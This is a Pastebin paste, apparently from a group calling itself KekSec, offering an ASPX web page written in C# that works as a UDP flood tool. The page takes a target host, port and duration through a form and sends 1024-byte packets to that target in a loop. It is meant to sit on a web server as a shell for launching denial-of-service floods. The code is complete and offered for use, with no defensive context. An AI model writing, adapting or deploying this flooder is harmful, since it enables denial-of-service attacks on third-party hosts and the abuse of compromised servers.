SHARE
TWEET

WORLDS FIRST ASPX UDP SHELL!!!

KekSec Jun 25th, 2018 (edited) 286 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <html>
  2. <body>
  3. <title>
  4. UDP Flood</title>
  5. <font color="00FF00">
  6.  
  7. <center>
  8. <STYLE>
  9. input{
  10. background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid white;
  11. }
  12. button{
  13. background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid white;
  14. }
  15. body {
  16. background-color: black;
  17. }
  18. </style>
  19. <br>
  20. <br>
  21. <br>
  22. <br>
  23. <br>
  24. <br><b>UDP Flood</b><br>
  25. <%@ Page Language="C#" %>
  26. <%@import namespace="System.Diagnostics"%>
  27. <%@import namespace="System.Net.Sockets"%>
  28. <%
  29. if(Request["host"]!= null && Request["port"] != null && Request["time"] != null) {
  30.     String host = Request["host"];
  31.     int port = int.Parse(Request["port"]);
  32.     int time_ = int.Parse(Request["time"]);
  33.     String packet = "";
  34.     for (int i = 0; i < 1024; i++) {
  35.         packet += "X";
  36.     }
  37.     Stopwatch s = new Stopwatch();
  38.     s.Start();
  39.     int packets = 0;
  40.     while (s.Elapsed < TimeSpan.FromSeconds(time_)) {
  41.         UdpClient c = new UdpClient();
  42.         c.ExclusiveAddressUse = false;
  43.         c.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true);
  44.         c.Send(Encoding.ASCII.GetBytes(packet), Encoding.ASCII.GetBytes(packet).Length, host, port);
  45.         c.Close();
  46.         packets++;
  47.     }
  48.     s.Stop();
  49.     Response.Write("Completed with " + packets.ToString() + " (" + (((packets*1024)/1024)/1024).ToString() + " MB) packets averaging " + (packets/time_).ToString() + " packets per second\n");
  50. }
  51. %>
  52. <form action=? method=GET>
  53. <input type='hidden' name='act' value='phptools'>
  54. Host: <br><input type='text' name='host'><br>
  55. Port: <br><input type='text' name='port'><br>
  56. Length (seconds): <br><input type='text' name='time'>
  57. <br>
  58. <br>
  59. <input type='submit' value='Go'>
  60. </form>
  61. </center>
  62. </body>
  63. </html>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top